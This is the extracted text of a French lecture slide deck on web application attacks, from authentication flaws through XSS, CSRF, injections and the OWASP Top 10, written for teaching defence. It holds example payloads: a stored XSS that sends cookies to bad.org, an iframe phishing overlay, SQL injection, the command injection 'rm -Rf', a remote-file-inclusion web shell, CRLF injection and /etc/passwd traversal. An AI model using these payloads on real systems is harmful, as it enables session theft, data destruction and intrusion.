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77% des sites web légitimes ont des 
vulnérabilités qui peuvent être exploitées 
 
1 site web sur 8 comporte une faille critique 

Source : rapport annuel Symantec sur les menaces de sécurité sur Internet (avril 2014) 

Vol et fuite de données : 552 millions d’identités 
 
(cartes de crédits, numéros de sécurité sociale, 
données médicales, numéros de téléphone, email, 
identifiants de connexion, ...).  
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http://www.vacances.fr/voyage.php?lieu=venise 

GET /voyage.php?lieu=venise HTTP/1.1 
Host: www.vacances.fr 
Cookie: lang=fr;id=214535E1FA 
User-Agent: Firefox 

corps vide 
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client 

POST /voyage.php?id=2 HTTP/1.1 
Host: www.vacances.fr 
Cookie: lang=fr;id=214535E1FA 
User-Agent: Firefox 
Content-Type: application/x-www-form-urlencoded  
Content-Length: 11 

lieu=venise 
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fichiers 
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1. Application web   Suivi de la navigation 
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1. Application web   Suivi de la navigation 
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•  Proxy 
•  DHCP 
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1. Application web   Suivi de la navigation 
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1. Application web   Suivi de la navigation 
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1. Application web   Authentification 
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1. Application web   Authentification 
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1. Application web   Authentification 
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1. Application web   Autorisation 

Application 
Web 

liste.php 

Accès	  
interdit	  

smith 

smith login groupe 
smith user 
admin admin 

fichier groupe 
liste admin 
modif admin 
consult admin 
consult user 

liste.php modif.php 

consult.php 

PHP PHP 

PHP 



Système d’information doit assurer 
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1. Application web 
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Attaques visent 

q  intégrité 

q  disponibilité 

q  confidentialité des données 

q  prise de contrôle du système 

1. Application web 
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Causes de la majorité des attaques 
q  contrôle des entrées inexistant ou insuffisant 

q  protection des sorties inexistante ou insuffisante   

q  mise à disposition de données sensibles  

q  contrôles d’autorisation ou d’authentification inexistants ou 

insuffisants 

24 

24 
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1. Application web 
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2. Authentification      Accès à une appli. web protégée 

Procédé	  automa3que	  pour	  trouver	  les	  informa3ons	  protégeant	  un	  système	  	  
(login,	  password,	  clé	  crypto)	  
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admin login 
password ********** 

facilité	  par	  :	  
•  nombre	  d’essais	  illimités	  	  
•  indica3on	  login	  correct	  

Force brute 



Répertoire	  dont	  seule	  la	  page	  principale	  est	  protégée	  
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2. Authentification      Accès à une appli. web protégée 

Authentification insuffisante 

Accès	  à	  des	  ressources	  par	  des	  personnes	  non	  autorisées 



28 

2. Authentification      Accès à une appli. web protégée 

dans un listing de répertoire 

en recherchant automatiquement des 
répertoires sensibles (/admin, …) 

Authentification insuffisante 

Accès	  à	  des	  ressources	  par	  des	  personnes	  non	  autorisées 

Ressource	  protégée	  par	  l’obscurité,	  trouvée	  :	  
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2. Authentification      Accès à une appli. web protégée 

dans l’historique de navigation 

dans un bookmark 

Authentification insuffisante 

Accès	  à	  des	  ressources	  par	  des	  personnes	  non	  autorisées 

Ressource	  protégée	  par	  l’obscurité,	  trouvée	  :	  

(ordi public ou partagé) 
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2. Authentification      Accès à une appli. web protégée 

Mauvais traitement des recouvrements de mot de passe 

facilité	  par	  :	  

	   	  validité	  illimitée	  
	   	  u3lisa3on	  non	  unique	  du	  nouveau	  mot	  de	  passe	  
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2. Authentification      Accès à une appli. web protégée 

Vol d’identifiants 

Phishing	  

	  

	  

Intercep3on	  
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2. Autorisation      Accroître le niveau de privilège  

admin 

MENU	  admin 	  	  
Liste 	  	  
Modif	  
Consult	  
Déconnexion liste	  

liste.php 

login groupe 
smith user 
admin admin 

fichier groupe 
liste admin 
modif admin 
consult admin 
consult user 

Autorisation insuffisante 

Applica3on	  donne	  accès	  à	  une	  ressource	  qui	  nécessite	  plus	  de	  privilèges 
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2. Autorisation      Accroître le niveau de privilège  

smith 

admin 

MENU	  admin 	  	  
Liste 	  	  
Modif	  
Consult	  
Déconnexion 

MENU	  user	  
Consult 	  	  
Déconnexion 

liste.php 
liste	  

login groupe 
smith user 
admin admin 

fichier groupe 
liste admin 
modif admin 
consult admin 
consult user 

Autorisation insuffisante 

Applica3on	  donne	  accès	  à	  une	  ressource	  qui	  nécessite	  plus	  de	  privilèges 
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2. Autorisation      Accroître le niveau de privilège  

Détournement de session = fournir un jeton valide 

admin Application 
Web 

admin 
= 
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2. Autorisation      Accroître le niveau de privilège  

Détournement de session = fournir un jeton valide 

¤  Prédic3on	  de	  session 
	  ex	  :	  le	  jeton	  est	  un	  nombre	  en3er	  incrémenté	  



36 

2. Autorisation      Accroître le niveau de privilège  

Détournement de session = fournir un jeton valide 

¤  Prédic3on	  de	  session	  

¤  Fixa3on 

Imposer	  à	  un	  u3lisateur	  légi3me	  du	  site	  un	  iden3fiant	  de	  session	  	  
	   	  	  

-‐>	  jeton	  dans	  l’URL	  d’un	  lien 	  ?sessid=a7erf98ab	  
	   	  	  

-‐>	  injec3on	  de	  cookie	  avec	  une	  aYaque	  HTTP	  Response	  Spli]ng	  /	  CR	  LF	  Injec3on	  
	  

crlf.php?url=http://www.google.fr%0D%0ASet-cookie%3Asessid=a7erf98ab 

<?php  header("Location: ".$_GET['url']);  ?> 
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2. Autorisation      Accroître le niveau de privilège  

Détournement de session = fournir un jeton valide 

¤  Prédic3on	  de	  session	  

¤  Fixa3on	  

¤  Vol	  de	  jeton	  

q  id	  dans	  l’URL	  (historique,	  bookmark,	  logs,	  envoi	  par	  mail,	  ...)	  

q  vol	  de	  cookie	  (XSS,	  ordinateur	  public)	  

q  intercep3on	  (écoute	  réseau)	  

q  consulta3on	  des	  fichiers	  de	  session	  sur	  le	  serveur	  
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2. Autorisation      Accroître le niveau de privilège  

Détournement de session = fournir un jeton valide 

¤  Prédic3on	  de	  session	  

¤  Fixa3on	  

¤  Vol	  de	  jeton	  

¤  Force	  brute	  

¤  Expira3on	  de	  session	  

Beaucoup	  d’aYaques	  sont	  possibles	  car	  la	  durée	  de	  validité	  des	  sessions	  et	  de	  leurs	  
données	  est	  trop	  grande	  
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3. Attaques côté client 
40 

40 

Exploitent	  la	  confiance	  qu’un	  u3lisateur	  a	  en	  un	  site	  web	  
	  

n  Usurpa?on	  de	  contenu	  
	  

	  AYaque	  consistant	  à	  faire	  croire	  à	  un	  u3lisateur	  qu’un	  contenu	  injecté	  
(HTML,	  texte)	  est	  un	  contenu	  légi3me	  de	  l’applica3on	  

	   	  

	  défigura3on	  	  
	  hameçonnage	  (vol	  d’iden3fiants)	  
	  détournement	  de	  clic	  

	  

n  XSS	  (Cross	  Site	  Scrip,ng)	  
	  

	  AYaque	  qui	  a	  pour	  but	  de	  faire	  exécuter	  un	  code	  malveillant	  par	  le	  client	  
	  	  

	  défigura3on	  	  
	  hameçonnage 	  (document.loca3on)	  
	  vol	  de	  session 	  (document.cookie)	  



3. Côté client   Usurpation de contenu 

Smith<iframe 
src=...></iframe> 

41 

nom 

john.smith@bad.org mail 

Smith<iframe src=http://bad.org/page.html 
style="background-color:white;border:0; 
width:100%;height:100%;position:absolute; 
top:0;left:0"></iframe> 

Application 
Web 

BD 



Smith<iframe 
src=...></iframe> 
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3. Côté client   Usurpation de contenu 

admin 

inscrits 

Application 
Web 

BD 

1 

GET inscrits.php 



Smith<iframe 
src=...></iframe> 
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3. Côté client   Usurpation de contenu 

Contensin<br> 
Dupond<br> 
Smith<iframe src=http://bad.org/page.html  

 style="background-color:white;border:0;width:100%; 
 height:100%;position:absolute;top:0;left:0"></iframe><br> 

Toto<br> 

Contensin 
Dupond 
Smith 
Toto 

admin 

Application 
Web 

BD 

2 
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3. Côté client   Usurpation de contenu 

bad.org 

Contensin 
Dupond 
Smith 
Toto 

GET page.html 

admin 

3 

Smith<iframe 
src=...></iframe> 

Application 
Web 

BD 

Contensin<br> 
Dupond<br> 
Smith<iframe src=http://bad.org/page.html  

 style="background-color:white;border:0;width:100%; 
 height:100%;position:absolute;top:0;left:0"></iframe><br> 

Toto<br> 
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3. Côté client   Usurpation de contenu 

Contensin 
Dupond 
Smith 
Toto 

bad.org 
login 
password 

Vous avez été déconnecté,  
merci de vous authentifier 

admin 

4 

Smith<iframe 
src=...></iframe> 

Application 
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Contensin<br> 
Dupond<br> 
Smith<iframe src=http://bad.org/page.html  

 style="background-color:white;border:0;width:100%; 
 height:100%;position:absolute;top:0;left:0"></iframe><br> 

Toto<br> 
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3. Côté client   Usurpation de contenu 

bad.org login 
password 

Vous avez été déconnecté,  
merci de vous authentifier 

admin 

4 

Smith<iframe 
src=...></iframe> 

Application 
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Contensin<br> 
Dupond<br> 
Smith<iframe src=http://bad.org/page.html  

 style="background-color:white;border:0;width:100%; 
 height:100%;position:absolute;top:0;left:0"></iframe><br> 

Toto<br> 
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3. Côté client   Usurpation de contenu 

bad.org 

login 
password 

Vous avez été déconnecté,  
merci de vous authentifier Contensin 

Dupond 
Smith 
Toto 

admin 

Smith<iframe 
src=...></iframe> 

Application 
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BD 

Contensin<br> 
Dupond<br> 
Smith<iframe src=http://bad.org/page.html  

 style="background-color:white;border:0;width:100%; 
 height:100%;position:absolute;top:0;left:0"></iframe><br> 

Toto<br> 
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3. Côté client   Usurpation de contenu 

bad.org 

login 
password 

Vous avez été déconnecté,  
merci de vous authentifier 

admin 

Smith<iframe 
src=...></iframe> 

Application 
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BD 

Contensin<br> 
Dupond<br> 
Smith<iframe src=http://bad.org/page.html  

 style="background-color:white;border:0;width:100%; 
 height:100%;position:absolute;top:0;left:0"></iframe><br> 

Toto<br> 
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3. Côté client   Usurpation de contenu 

bad.org 
En-tête : referer 
Corps :   login & mot de passe 

admin 

login 

password 

Vous avez été déconnecté,  
merci de vous authentifier 

login 
password 

Vous avez été déconnecté,  
merci de vous authentifier 

admin 
********** 5 

Smith<iframe 
src=...></iframe> 

Application 
Web 

BD 

Contensin<br> 
Dupond<br> 
Smith<iframe src=http://bad.org/page.html  

 style="background-color:white;border:0;width:100%; 
 height:100%;position:absolute;top:0;left:0"></iframe><br> 

Toto<br> 
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3. Côté client   Usurpation de contenu 

admin login 
password ********** 

admin Application 
Web 



clic 
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3. Côté client   Usurpation de contenu 

Détournement	  de	  clic	  
AYaque	  consistant	  à	  placer	  un	  contenu	  invisible	  (ex	  iframe,	  div,	  object	  +	  style	  CSS)	  
au	  dessus	  d’un	  élément	  d’interface	  cliquable	  (bouton,	  lien	  hypertexte)	  	  

But	  :	  
-‐  rediriger	  l’internaute	  vers	  un	  site	  offrant	  des	  services	  ou	  des	  produits	  similaires	  
-‐  envoyer	  une	  requête	  HTTP	  pour	  modifier	  des	  ressources	  (permet	  aYaque	  CSRF	  si	  
u3lisateur	  authen3fié	  sur	  le	  site	  cible)	  :	  ex	  achat	  sur	  amazon,	  like	  facebook	  

-‐  modifica3on	  de	  réglages	  de	  sécurité	  :	  ex	  Flash	  
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3. Côté client   Usurpation de contenu 

swf 

<img	  src='chat.png'>	  
<img	  src='play.png'	  style='posi3on:absolute;lej:300px;top:300px'>	  
<object	  style="opacity:0.0;posi3on:absolute;top:150;lej:200"	  	  
	  	  	  	  	  	  	  	  	  	  	  	  	  	  	  width=300	  height=250>	  

	  <param	  value='URL	  swf'	  name='movie'>	  
	  <embed	  width=300	  height=300	  src='	  URL	  swf'>	  

</object>	  

clic 
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3. Côté client   Usurpation de contenu 

swf 

clic 



nom 

john.smith@bad.org mail 

54 

Smith<script>alert(3*5)</script> 

54 

3. Côté client   XSS – exemple simple 

Application 
Web 

1 
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Nom	  :	  Smith<script>alert(3*5)</script><br>	  
Inscrip3on	  OK	  

55 

3. Côté client   XSS – exemple simple 

nom 

john.smith@bad.org mail 

Smith<script>alert(3*5)</script> 

Application 
Web 

1 2 
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Nom	  :	  Smith<script>alert(3*5)</script><br>	  
Inscrip3on	  OK	  

56 

3. Côté client   XSS – exemple simple 

Nom	  :	  Smith	  
Inscrip3on	  OK 

Application 
Web 

1 2 
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3. Côté client   XSS – exemple simple 

15 

vol de session 
hameçonnage 
défiguration 

JS 

Nom	  :	  Smith	  
Inscrip3on	  OK 

15 

Nom	  :	  Smith<script>alert(3*5)</script><br>	  
Inscrip3on	  OK	  

Application 
Web 

1 2 

3 



n  Le pirate envoie le XSS, il est stocké sur le serveur 

nom 

john.smith@bad.org mail 
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Smith<script src=http://bad.org/c.js></script> 

58 

3. Côté client   XSS stocké 

Smith <script 
src=http://bad.org/c.js> 
</script> 

Application 
Web 

BD 
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3. Côté client   XSS stocké 

Smith <script 
src=http://bad.org/c.js> 
</script> 

admin 

admin login 
password ********** 

n  L’administrateur s’authentifie 

Application 
Web 

BD 

59 
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3. Côté client   XSS stocké 

Smith <script 
src=http://bad.org/c.js> 
</script> 

admin 

inscrits 

n  L’administrateur reçoit un jeton de session (cookie) 

Application 
Web 

BD 

60 
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3. Côté client   XSS stocké 

Smith <script 
src=http://bad.org/c.js> 
</script> 

admin 

inscrits 

n  L’administrateur consulte la liste des inscrits 

Application 
Web 

BD 

61 
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3. Côté client   XSS stocké 

Smith <script 
src=http://bad.org/c.js> 
</script> 

admin 

Contensin<br> 
Dupond<br> 
Smith<script src=http://bad.org/c.js></script><br> 
Toto<br> 

Contensin 
Dupond 
Smith 
Toto 

n  Le navigateur reçoit une page web contenant le XSS 

Application 
Web 

BD 

62 
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3. Côté client   XSS stocké 

admin 

Contensin<br> 
Dupond<br> 
Smith<script src=http://bad.org/c.js></script><br> 
Toto<br> 

bad.org 

Contensin 
Dupond 
Smith 
Toto 

GET c.js 

n  Le navigateur télécharge un script malveillant 
Smith <script 
src=http://bad.org/c.js> 
</script> 

Application 
Web 

BD 

63 
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3. Côté client   XSS stocké 

admin 

Contensin<br> 
Dupond<br> 
Smith<script src=http://bad.org/c.js></script><br> 
Toto<br> 

bad.org 

Contensin 
Dupond 
Smith 
Toto 

document.write('<img src=http://bad.org/c.php?'  
         + document.cookie + ' width=1>') 

n  Le navigateur télécharge un script malveillant 
Smith <script 
src=http://bad.org/c.js> 
</script> 

Application 
Web 

BD 

64 

JS 



65 

65 

3. Côté client   XSS stocké 

admin 

Contensin<br> 
Dupond<br> 
Smith<script src=http://bad.org/c.js></script><br> 
Toto<br> 

bad.org 

Contensin 
Dupond 
Smith 
Toto 

n  Le navigateur exécute le script téléchargé 
Smith <script 
src=http://bad.org/c.js> 
</script> 

Application 
Web 

BD 

document.write('<img src=http://bad.org/c.php?'  
         + document.cookie + ' width=1>') 

65 

JS 
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3. Côté client   XSS stocké 

admin 

Contensin<br> 
Dupond<br> 
Smith<script src=http://bad.org/c.js></script><br> 
Toto<br> 

bad.org 

Contensin 
Dupond 
Smith 
Toto 

document.write('<img src=http://bad.org/c.php?’  
         + document.cookie + ' width=1>') 

GET c.php?sessid=445a0761a7f0676a81e380b36c40df3a 

n  Le navigateur envoie le jeton de session  
Smith <script 
src=http://bad.org/c.js> 
</script> 

Application 
Web 

BD 

66 

JS 
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67 

3. Côté client   XSS stocké 

admin 

Contensin<br> 
Dupond<br> 
Smith<script src=http://bad.org/c.js></script><br> 
Toto<br> 

bad.org 

Contensin 
Dupond 
Smith 
Toto 

document.write('<img src=http://bad.org/c.php?’  
         + document.cookie + ' width=1>') 

GET c.php?sessid=445a0761a7f0676a81e380b36c40df3a 

n  Le navigateur envoie le jeton de session  
Smith <script 
src=http://bad.org/c.js> 
</script> 

Application 
Web 

BD 

67 

JS 
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68 

3. Côté client   XSS stocké 

admin 
= 

n  Exploitation des informations de session  
    (vol de session) 

Application 
Web 

68 
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1.  Application web 

2.  Authentification et autorisation : attaques et vulnérabilités 

3.  Attaques côté client 

4.  CSRF 

5.  Injections 

6.  Révélation d’informations 

7.  Attaques logiques 

 Conclusion 
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4. CSRF (Cross-Site Request Forgery) 

n  Exploite la confiance qu’un site a en un utilisateur 
n  Cible de l’attaque = site web 

n  But : modifications sur le site 

n  Méthodes d’attaque : 
q  principalement GET (attaque dans l’URL) 

q  POST (click jacking) 
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4. CSRF 

Super article ! 
<img  
      src='article.php?      
      id=3&action=del'  
      width=0> 

Super article ! 
<img src='article.php?id=3&action=del'  
         width=0> 
… 

Ajouter un commentaire Ajouter un commentaire 

Application 
Web 

BD 

1 
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4. CSRF 

Ajouter un commentaire 

Un commentaire a été 
ajouté à votre article 3. 

Super article ! 
<img  
      src='article.php?      
      id=3&action=del'  
      width=0> 

Application 
Web 

BD 

1 
2 
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4. CSRF 

GET  article.php?id=3&action=read 

Un commentaire a  
été ajouté à votre  
article 3. 

Article 3 

Super article ! 
<img  
      src='article.php?      
      id=3&action=del'  
      width=0> 

Application 
Web 

BD 

3 
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4. CSRF 

GET  article.php?id=3&action=read 

Super article ! 

Super article ! 
<img  

  src='article.php?id=3&action=del' 
 width=0> 

Super article ! 
<img  
      src='article.php?      
      id=3&action=del'  
      width=0> 

Application 
Web 

BD 

Article 3 

4 
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4. CSRF 

5 

Super article ! 

Article 3 

Super article ! 
<img  

  src='article.php?id=3&action=del' 
 width=0> 

Super article ! 
<img  
      src='article.php?      
      id=3&action=del'  
      width=0> GET  article.php?id=3&action=del 

Application 
Web 

BD 

Article 3 

5 
6 
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1.  Application web 

2.  Authentification et autorisation : attaques et vulnérabilités 

3.  Attaques côté client 

4.  CSRF 

5.  Injections vers un interpréteur 

6.  Révélation d’informations 

7.  Attaques logiques 

 Conclusion 
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login 
password 

5. Injection    SQL 

login 

password 

' OR 1 = 1 -- 

Application 
Web 

BD 

1 



login 
password 
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SELECT	  login,	  prenom	  FROM	  u3lisateur	  	  
WHERE	  login=''	  OR	  1	  =	  1	  -‐-‐	  	  '	  AND	  password=''	  

login 

password 

' OR 1 = 1 -- 

5. Injection    SQL 

Application 
Web 

BD 

1 

2 



login 
password 
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SELECT	  login,	  prenom	  FROM	  u3lisateur	  	  
WHERE	  login=''	  OR	  1	  =	  1	  -‐-‐	  	  '	  AND	  password=''	  

+-------+----------+ 
| login | prenom   | 
+-------+----------+ 
| mag   | Magali   | 
| admin | admin    | 
+-------+----------+ 

5. Injection    SQL 

Application 
Web 

BD 

1 

2 

3 
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SELECT	  login,	  prenom	  FROM	  u3lisateur	  	  
WHERE	  login=''	  OR	  1	  =	  1	  -‐-‐	  	  '	  AND	  password=''	  

+-------+----------+ 
| login | prenom   | 
+-------+----------+ 
| mag   | Magali   | 
| admin | admin    | 
+-------+----------+ 

bonjour	  Magali	  ! 

bonjour Magali ! 

Magali 

5. Injection    SQL 

Application 
Web 

BD 

1 

2 

3 4 
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SELECT	  login,	  prenom	  FROM	  u3lisateur	  	  
WHERE	  login=''	  OR	  1	  =	  1	  LIMIT	  1,1	  -‐-‐	  	  '	  AND	  password=''	  

login 
password 

login 

password 

' OR 1 = 1 LIMIT 1,1 -- 

5. Injection    SQL 

Application 
Web 

BD 

1 

2 



5. Injection    SQL 
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+-------+----------+ 
| login | prenom   | 
+-------+----------+ 
| mag   | Magali   | 
| admin | admin    | 
+-------+----------+ 

bonjour	  admin	  ! 

bonjour admin ! 

admin 

SELECT	  login,	  prenom	  FROM	  u3lisateur	  	  
WHERE	  login=''	  OR	  1	  =	  1	  LIMIT	  1,1	  -‐-‐	  	  '	  AND	  password=''	  

Application 
Web 

BD 

1 

2 

3 4 
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<?php	  
	  	  system("ls	  -‐1	  *.".$_GET['ext']);	  
?>	  

listing.php 

lis3ng.php?ext=txt	   ls	  -‐1	  *.txt	  

txt 

Liste des fichiers de type 

5. Injection    Commande 

Application 
Web 

1 

2 

PHP 
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<?php	  
	  	  system("ls	  -‐1	  *.".$_GET['ext']);	  
?>	  

ls	  -‐1	  *.txt	  

Liste des fichiers txt 
 

fic1.txt	  
fic2.txt	  
fic3.txt 
 

index.php	  
connectBD.php	  
lis?ng.php	  
fic1.txt	  
fic2.txt	  
fic3.txt	  

fic1.txt	  
fic2.txt	  
fic3.txt	  

lis3ng.php?ext=txt	  

5. Injection    Commande 

1 

2 

3 

Application 
Web 

4 

listing.php 

PHP 
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<?php	  
	  	  system("ls	  -‐1	  *.".$_GET['ext']);	  
?>	  

lis3ng.php?ext=txt; cd /; rm -Rf * 
ls	  -‐1	  *.txt; cd /; rm -Rf * 

txt; cd /; rm -Rf* 

Liste des fichiers de type 

txt; cd /; rm –Rf * 

5. Injection    Commande 

1 

2 Application 
Web 

listing.php 

PHP 
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<?php	  
	  	  system("ls	  -‐1	  *.".$_GET['ext']);	  
?>	  

Liste des fichiers txt 
 

fic1.txt	  
fic2.txt	  
fic3.txt 
 

index.php	  
connectBD.php	  
lis?ng.php	  
fic1.txt	  
fic2.txt	  
fic3.txt	  

fic1.txt	  
fic2.txt	  
fic3.txt	  

lis3ng.php?ext=txt; cd /; rm -Rf * 
ls	  -‐1	  *.txt; cd /; rm -Rf * 

5. Injection    Commande 

1 

2 

3 

listing.php 

PHP 

Application 
Web 

4 
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1 

<?php	  
	  	  system("ls	  -‐1	  *.".$_GET['ext']);	  
?>	  

Liste des fichiers txt 
 

fic1.txt	  
fic2.txt	  
fic3.txt 
 

fic1.txt	  
fic2.txt	  
fic3.txt	  

lis3ng.php?ext=txt; cd /; rm -Rf * 
ls	  -‐1	  *.txt; cd /; rm -Rf * 

/ 

5. Injection    Commande 

2 

3 
4 

5 

Application 
Web 

listing.php 

PHP 



<?php 
  require $_GET['p'] . '.php'; 
?> 

2 

3 

liste.php

<?php 
  … 
?> 

88 

5. Injection    Code 

1 

index.php index.php?p=liste	  

consult.php

modif.php

Application 
Web 

PHP 
PHP 

PHP 

PHP 



RFI – Remote File Inclusion <?php 
  require $_GET['p'] . '.php'; 
?> 

2 

89 

5. Injection    Code 

1 

index.php?p=hYp://bad.org/bad.txt%00	  

http://bad.org/bad.txt%00 

$_GET['p'] . '.php' 

Injection du  
caractère null \0 

.php 

require 'http://bad.org/bad.txt’; 

index.php 

Application 
Web 

PHP 



<?php 
  require $_GET['p'] . '.php'; 
?> 

RFI – Remote File Inclusion 

2 
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5. Injection    Code 

1 

index.php?p=hYp://bad.org/bad.txt%00	  

bad.org 

<?php 
  system($_GET['cmd']); 
?> 

bad.txt 

3 

bad.txt 

index.php 

Application 
Web 

PHP 

TXT 

TXT 



<?php 
  require $_GET['p'] . '.php'; 
?> 

RFI – Remote File Inclusion 

2 
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5. Injection    Code 

1 

index.php?p=hYp://bad.org/bad.txt%00	  

<?php 
  system($_GET['cmd']); 
?> 

system($_GET['cmd']); 

bad.org 

3 

index.php 

Application 
Web 

PHP 

bad.txt 

TXT 

bad.txt 

TXT 



<?php 
  require $_GET['p'] . '.php'; 
?> 

RFI – Remote File Inclusion 

2 
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5. Injection    Code 

1 

index.php?cmd=ls&p=hYp://bad.org/bad.txt%00	  

<?php 
  system($_GET['cmd']); 
?> 

system($_GET['cmd']); 

4 

bad.org 

3 

ls 

5 

consult.php	  
index.php	  
liste.php	  
modif.php	  

index.php 

Application 
Web 

PHP 

bad.txt 

TXT 

bad.txt 

TXT 
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1.  Application web 

2.  Authentification et autorisation : attaques et vulnérabilités 

3.  Attaques côté client 

4.  CSRF 

5.  Injections 

6.  Révélation d’informations 

7.  Attaques logiques 

 Conclusion 



L’appli	   révèle	   des	   données	   confiden3elles	   (numéros	   CB,	   sécu,	   …)	   ou	   sensibles	  
permeYant	   de	   trouver	   des	   failles	   de	   sécurité	   (code	   source,	  messages	   d’erreurs,	   info	  
sur	  version	  OS	  et	  logiciels)	  ou	  d’accéder	  au	  système	  (fichiers	  de	  mots	  de	  passe)	  

	  	  
	   	  causes	  :	   	  authen3fica3on/autorisa3on	  insuffisante,	  	  
	   	  	   	  mauvais	  réglages	  du	  serveur	  (hYpd.conf,	  php.ini,	  …)	  
	   	   	  communica3ons	  non	  chiffrées	  

 

6. Révélation d’informations 
94 

Fuite d’informations 



6. Révélation d’informations 
95 

suppression du nom de fichier dans l’URL 

Affichage	  du	  contenu	  d’un	  répertoire	  (fichier	  par	  défaut	  absent) 
Listing de répertoire 



6. Révélation d’informations 
96 

AYaque	  qui	  consiste	  à	  accéder	  à	  des	  ressources	  en	  dehors	  du	  répertoire	  du	  
serveur	  web.	  

Traversée de chemin 

afficher.php?fichier=../../../../../../../../etc/passwd 



6. Révélation d’informations 
97 

AYaque	  qui	  consiste	  à	  découvrir	  des	  ressources	  cachées	  	  
	  (fichiers	  de	  configura3on,	  .htaccess,	  .htpasswd,	  fichiers	  de	  logs,	  répertoires	  	  
	  d’administra3on,	  …)	  

Prédiction de localisation de ressources 

hYp://…/admin	  
hYp://…/intranet	  
hYp://…/backoffice	  
hYp://…/private 



Plan 
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1.  Application web 

2.  Authentification et autorisation : attaques et vulnérabilités 

3.  Attaques côté client 

4.  CSRF 

5.  Injections 

6.  Révélation d’informations 

7.  Attaques logiques 

 Conclusion 



7. Attaques logiques 
99 

Abus de fonctionnalité 

U3liser	  les	  caractéris3ques	  et	  fonc3onnalités	  de	  l’appli.	  
	  
Ex.	  	  
	   	  Remplacer	  un	  fichier	  de	  conf.	  avec	  un	  file	  upload	  
	  
	   	  Bloquer	  un	  compte	  u3lisateur	  en	  envoyant	  3	  mots	  de	  passe	  faux	  
	  

	  U3liser	  une	  fonc3on	  de	  recherche	  du	  site	  web	  pour	  accéder	  à	  des	  fichiers	  en	  
dehors	  du	  répertoire	  	  

	  
	  



7. Attaques logiques 
100 

Validation insuffisante du flux logique de l’application 

AYaque	  qui	  consiste	  à	  contourner	  le	  flux	  logique	  de	  l’appli.	  
	  	  

ex	  :	  u3liser	  bouton	  back	  du	  navigateur	  lors	  d’une	  commande	  en	  ligne	  



7. Attaques logiques 
101 

Déni de service 

AYaque	  qui	  a	  pour	  but	  d’empêcher	  le	  serveur	  de	  répondre	  aux	  clients.	  	  
	  
Provoqué	  par	  la	  consomma3on	  excessive	  de	  ressources 



7. Attaques logiques 
102 

Anti-automatisation insuffisante 

Si	  l’appli.	  n’est	  pas	  limitée	  à	  un	  usage	  humain	  elle	  peut	  être	  	  
la	  cible	  d’un	  processus	  automa3que	  

ex	  :	  formulaire	  de	  créa3on	  de	  comptes	  (enregistrement	  de	  
milliers	  de	  comptes	  en	  quelques	  secondes	  par	  un	  robot)	  



Plan 
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1.  Application web 

2.  Authentification et autorisation : attaques et vulnérabilités 

3.  Attaques côté client 

4.  CSRF 

5.  Injections 

6.  Révélation d’informations 

7.  Attaques logiques 

 Conclusion 



Conclusion 

Open Web Application Security Project 
 

Les	  10	  risques	  de	  sécurité	  	  
applica3fs	  web	  les	  plus	  	  
cri3ques	  (12/06/2013)	  

104 

Références	  Exemple	  

Comment	  	  
se	  protéger	  ?	  

Suis-‐je	  vulnérable	  ?	  
Descrip3on	  



Conclusion 

	  

A1	   	  Injec?on	  	  
	  Injec3on	  de	  données	  à	  un	  interpréteur	  de	  commandes/requêtes	  (SQL,	  LDAP,	  …)	  

Ê altéra3on	  de	  données,	  révéla3on	  d’informa3ons,	  déni	  de	  service	  

A2	   	  Mauvaise	  ges?on	  des	  sessions	  et	  de	  l’authen?fica?on	  
	  Obten3on	  d’un	  accès	  à	  une	  applica3on	  web	  avec	  authen3fica3on	  

Ê vol	  d’iden3té,	  confiden3alité,	  intégrité	  
A3	   	  Cross	  Site	  Scrip?ng	  (XSS)	  

	  Exécu3on	  de	  code	  malveillant	  dans	  le	  navigateur	  
Ê vol	  de	  session,	  défigura3on,	  redirec3on	  vers	  une	  page	  similaire	  (phishing)	  

A4	   	  Référence	  directe	  non	  sécurisée	  à	  un	  objet	  
	  Manipula3on	  de	  références	  à	  un	  objet	  (ex	  numéro	  de	  compte	  d’un	  client	  passé	  en	  
paramètre	  à	  l’applica3on,	  numéro	  de	  session	  en3er	  incrémenté)	  

Ê confiden3alité,	  vol	  de	  session	  
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Conclusion 

A5	  	  	   	  Mauvaise	  configura?on	  de	  sécurité	  
	  Comptes	  par	  défaut,	  pas	  de	  mise	  à	  jour	  de	  sécurité,	  ports	  ouverts	  non	  u3lisés,	  
lis3ng	  des	  répertoires	  

Ê Accès	  à	  des	  comptes	  par	  défaut,	  des	  interfaces	  d’administra3on,	  accès	  à	  des	  
fichiers	  non	  protégés,	  …	  

A6	  	  	   	  Exposi?on	  de	  données	  sensibles	  
	  Obten3on	  de	  données	  sensibles	  non	  chiffrées,	  ou	  avec	  chiffrement	  faible	  (md5,	  
sha-‐1,	  algorithmes	  maison),	  intercep3on	  du	  trafic	  réseau	  non	  chiffré	  (navigateur/
serveur	  web	  ou	  serveur	  web/SGBD)	  

Ê confiden3alité	  (numéro	  CB,	  INSEE),	  vol	  d’iden3té	  

A7	  	  	   	  Contrôle	  d’accès	  à	  une	  fonc?onnalité	  manquant	  
	  Accès	  à	  une	  ressource	  dont	  l’URL	  est	  protégée	  par	  l’obscurité,	  accès	  à	  une	  ac3on	  
qui	  nécessite	  des	  privilèges	  supérieurs	  

Ê confiden3alité,	  intégrité	  
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Conclusion 

A8	  	  	   	  Cross	  Site	  Request	  Forgery	  (CSRF)	  
	  Force	  un	  client	  authen3fié	  à	  envoyer	  une	  requête	  à	  l’applica3on	  web	  

Ê altéra3on	  de	  données	  (ex	  post	  dans	  un	  forum)	  

	  
A9	  	   	  U?liser	  des	  composants	  dont	  la	  vulnérabilité	  est	  connue	  

	  Composants	  =	  bibliothèques,	  frameworks,	  modules,	  …	  
Ê tous	  les	  risques	  imaginables	  sont	  possibles	  

	  
A10	  Redirec?ons	  et	  transferts	  non	  valides	  

	  Modifier	  les	  paramètres	  des	  redirec3ons	  (URL)	  pour	  envoyer	  vers	  un	  autre	  site	  ou	  
pour	  accéder	  à	  une	  autre	  page	  de	  l’applica3on	  

Ê phishing,	  éviter	  les	  contrôles	  de	  sécurité	  pour	  obtenir	  des	  ressources	  
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108 

87% des dizaines de milliers d’applications web testées par 
Veracode, comportent des failles décrites dans le Top 10 de 
l’OWASP. 

Source : volume 5 du rapport de 2013 sur la sécurité des logiciels de Veracode  

Le choix du langage de programmation n’affecte pas le 
nombre de vulnérabilités moyen détecté dans les sites web.  

Source : rapport annuel de WhiteHat sur la sécurité des sites web  



Conclusion 

Il	  ne	  faut	  pas	  s’arrêter	  aux	  10	  risques	  du	  top	  10	  OWASP	  !	  
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Guide	  du	  développeur Cheat	  sheets 

Web Application Security Consortium 
